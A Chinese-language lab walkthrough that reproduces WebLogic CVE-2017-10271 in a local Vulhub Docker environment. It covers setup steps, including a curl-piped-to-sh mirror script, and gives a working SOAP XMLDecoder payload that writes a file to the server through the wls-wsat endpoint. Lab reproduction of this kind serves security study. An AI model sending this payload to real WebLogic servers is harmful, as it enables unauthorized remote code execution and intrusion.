漏洞复现:Weblogic CVE-2017-10271

前言：还不会复现的快来打我！

漏洞描述
WebLogic WLS组件中存在CVE-2017-10271远程代码执行漏洞，可以构造请求对运行WebLogic中间件的主机进行攻击，近期发现此漏洞的利用方式为传播挖矿程序。

涉及版本
10.3.6.0.0
12.1.3.0.0
12.2.1.1.0
12.2.1.2.0

环境搭建
我们采用Vulhub搭建方便快捷。Vulhub是一个基于docker和docker-compose的漏洞环境集合，配合docker进行使用。

我们先康康怎么安装Vulhub

运行以下命令以下载 Docker Compose 的特定版本
curl -L “https://github.com/docker/compose/releases/download/1.25.5/docker-compose-$(uname -s)- $(uname -m)” -o /usr/local/bin/docker-compose
然后进行授权

chmod +x /usr/local/bin/docker-compose

创建软连接，然后们就可以在任意目录下使用docker-compose命令啦

ln -s /usr/local/bin/docker-compose /usr/bin/docker-compose

最后我们进行验证

docker-compose --version

最后附上相关命令

配置docker加速

curl -sSL https://get.daocloud.io/daotools/set_mirror.sh | sh -s http://f1361db2.m.daocloud.io

下载vulhub漏洞目录

git clone https://github.com/vulhub/vulhub.git

我这样下很慢，我是直接用真时机下载好放到centos里面的（网速快的算我没说）

先启动docker

进入相应漏洞文件夹执行docker-compose up -d即可

这里又是特别慢！所以要换个国内镜像，将/ect/docker/daemon.json文件改成

{
 "registry-mirrors":["https://6kx4zyno.mirror.aliyuncs.com"]
}
然

后重启docker服务
systemctl daemon-reload
systemctl restart docker
简直飞一般的感觉，哈哈哈哈
最后查看虚拟机状态：

可以看到端口映射到了7001

这样我们就开始尝试连接啦

到这里环境就搭建好了，是不是很简答呢！认真脸

漏洞复现
也可以尝试访问http://192.168.91.133:7001/wls-wsat/CoordinatorPortType
如果存在该页面，则可能存在漏洞

文件上传
利用该漏洞进行文件上传，payload如下

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
      <soapenv:Header>
        <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
         <java version="1.6.0" class="java.beans.XMLDecoder">
                    <object class="java.io.PrintWriter"> 
                        <string>servers/AdminServer/tmp/_WL_internal/wls-wsat/54p17w/war/test.txt</string><void method="println">
                        <string>xmldecoder_vul_test</string></void><void method="close"/>
                    </object>
            </java>
        </work:WorkContext>
      </soapenv:Header>
      <soapenv:Body/>
</soapenv:Envelope>

通过burp发包：

修改请求数据包返回如下，注意请求包必须有下列两个参数
Upgrade-Insecure-Requests: 1
Content-Type:text/xml

提交请求后访问测试文件，访问成功
http://192.168.91.133:7001/wls-wsat/test.txt